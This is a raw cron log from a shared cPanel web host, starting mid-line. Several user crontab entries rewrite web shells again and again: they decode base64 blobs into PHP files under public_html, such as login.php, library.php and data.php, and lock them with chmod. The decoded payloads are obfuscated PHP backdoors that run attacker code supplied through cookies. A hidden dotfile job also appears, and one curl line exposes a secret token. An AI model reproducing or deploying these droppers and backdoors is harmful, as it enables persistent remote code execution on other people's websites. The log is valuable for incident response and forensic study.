RfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:37:01 medusa CROND[17466]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:37:01 medusa CROND[17467]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:37:01 medusa CROND[17468]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:37:01 medusa CROND[17469]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:37:01 medusa CROND[17470]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:37:01 medusa CROND[17471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:37:01 medusa CROND[17474]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:37:01 medusa CROND[17477]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:37:01 medusa CROND[17478]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Mar  1 09:37:01 medusa CROND[17485]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 09:38:02 medusa CROND[7615]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:38:02 medusa CROND[7616]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 09:38:02 medusa CROND[7617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:38:02 medusa CROND[7618]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:38:02 medusa CROND[7619]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:38:02 medusa CROND[7620]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:38:02 medusa CROND[7623]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:38:02 medusa CROND[7631]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:38:02 medusa CROND[7632]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:38:02 medusa CROND[7633]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:38:02 medusa CROND[7635]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:38:02 medusa CROND[7630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:38:02 medusa CROND[7639]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:39:01 medusa CROND[28898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:39:01 medusa CROND[28969]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 09:39:01 medusa CROND[28970]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 09:39:01 medusa CROND[28971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:39:01 medusa CROND[28972]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:39:01 medusa CROND[28974]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:39:01 medusa CROND[28976]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:39:01 medusa CROND[28977]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:39:01 medusa CROND[28980]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:39:01 medusa CROND[28981]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
